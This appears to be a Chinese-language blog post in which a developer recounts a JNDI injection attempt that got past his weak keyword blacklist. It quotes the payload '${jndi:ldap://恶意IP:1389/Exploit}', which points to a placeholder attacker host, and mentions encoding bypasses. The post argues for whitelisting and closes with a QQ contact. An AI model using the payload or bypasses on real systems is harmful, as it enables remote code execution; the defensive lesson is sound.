JNDI注入过滤不严？我差点被“老朋友”背刺的惨痛经历！
哎，兄弟们，今天咱们不聊那些虚头巴脑的“网络安全趋势”，我就想掏心窝子讲讲上周我踩的那个大坑——JNDI注入过滤不严，真的，当时我盯着日志里那几行诡异的代码，后背“唰”地一下就凉了，那种感觉,比大夏天灌了一口冰可乐还刺激！
事情是这样的，我们那套老系统最近在做一个“升级改造”，说白了就是给之前的“毛坯房”装修一下，加个新功能模块，咱也不是新手了，写代码的时候脑子里那根弦绷得紧紧的，输入校验、参数过滤、XSS、SQL注入，样样我都做了防护，心里还美滋滋的,觉得这次铁定稳妥了。
结果呢？还是翻车了,而且翻得特别狼狈。
那天下午，我正在摸鱼刷手机，看小姐姐跳舞视频呢，突然监控群里“滴滴滴”报警了，我一脸不情愿地打开电脑，第一个念头是“谁家又泄库了”？结果进去一看，好家伙，是我负责的那个接口，报了个“WARN”级别的异常，我刚开始没当回事，寻思着可能是哪个用户手滑传了个特殊字符，结果等我把那条请求日志翻出来的时候，冷汗“唰”地就下来了。
那是一条正常的业务请求，但里面鬼鬼祟祟地多了一个参数，内容是一长串Base64编码的字符串，我因为平时爱玩CTF，对这种编码敏感得不行，赶紧复制下来解码，解码出来的东西让我瞳孔猛地一缩——${jndi:ldap://恶意IP:1389/Exploit}！
我当时心里“咯噔”一下，直接爆了一句国粹：“卧槽！这JNDI注入怎么的偷偷摸到我这来了？！”
问题出在哪？过滤不严啊，兄弟们！
我立刻去翻了那个接口的代码，气得我差点把保温杯摔了，原来那个新功能模块，为了“方便”，直接把用户传进来的某个参数拼进了JNDI的查找方法里，用于动态获取配置信息，我当时为了图省事，就加了个简单的正则，过滤了几个常见的关键字，java”、“rmi”、“ldap”，我当时心里想：“嘿，我够机灵吧，把最危险的关键词拦住了”！
可人家攻击者也不傻啊！他们玩了几十年的绕过技术，怎么会被我这种小学生级别的黑名单给拦住？他们直接用了全大写编码、Unicode转义、甚至十六进制编码，来绕过我这个“选择性失明”的过滤器。
这就好比你装了一扇防盗门，结果只锁了中间的锁，把旁边的窗户大敞四开，这能不招贼吗？那一刻我才深刻体会到，光靠“黑名单”做过滤，简直就是皇帝的新衣，自欺欺人。
我赶紧把那台服务器从内网隔离了，断了所有外部请求，幸好发现的及时，再加上我们内网段用了ACL，不然后果真的不堪设想，你说这要是被挖矿程序植入，或者被勒索病毒锁定,我这年终奖不得全搭进去啊？
朋友们，真的，这次我长记性了。 咱们搞开发的，尤其是接触核心数据的，千万不能把“过滤”当成“安全”。JNDI注入这东西，一旦入口过滤不严，就像火山爆发前的地震，你看着只是震了一下,下一秒就是毁天灭地的岩浆。
后来我和团队的老大哥复盘，他语重心长地说了一句让我醍醐灌顶的话：“别想着用各种黑名单去堵漏洞，那是堵不完的，你得用白名单，或者直接默认拒绝所有非法的，只允许特定的格式通过。 ” 这话说的，就像在黑暗的隧道里点亮了一盏灯，我当时真的拍了下大腿，哎呀,我之前怎么就没想明白呢？
我写任何涉及协议解析、动态查询的代码，第一反应就是默认最危险，所有参数都当作攻击载荷来看待，什么Base64、什么十六进制，统统先解开再看！这JNDI注入过滤不严的亏，吃一次就够了，那心跳加速的刺激感,我可不想再来第二回。
这血的教训分享出来，就是希望各位路过的兄弟能引以为戒，千万不要觉得漏洞离自己很远。安全漏洞就藏在你以为“过滤得很严”的自负里,共勉吧！
悄悄话： 如果你也对网络安全攻防、渗透测试、代码审计这些玩法感兴趣，或者想学习如何更好地防御这种“老朋友”的袭击，欢迎加我QQ：3232288470，咱们可以一起探讨探讨（备注“安全学习”即可）！术业有专攻，安全这条路,一个人走太寂寞啦！
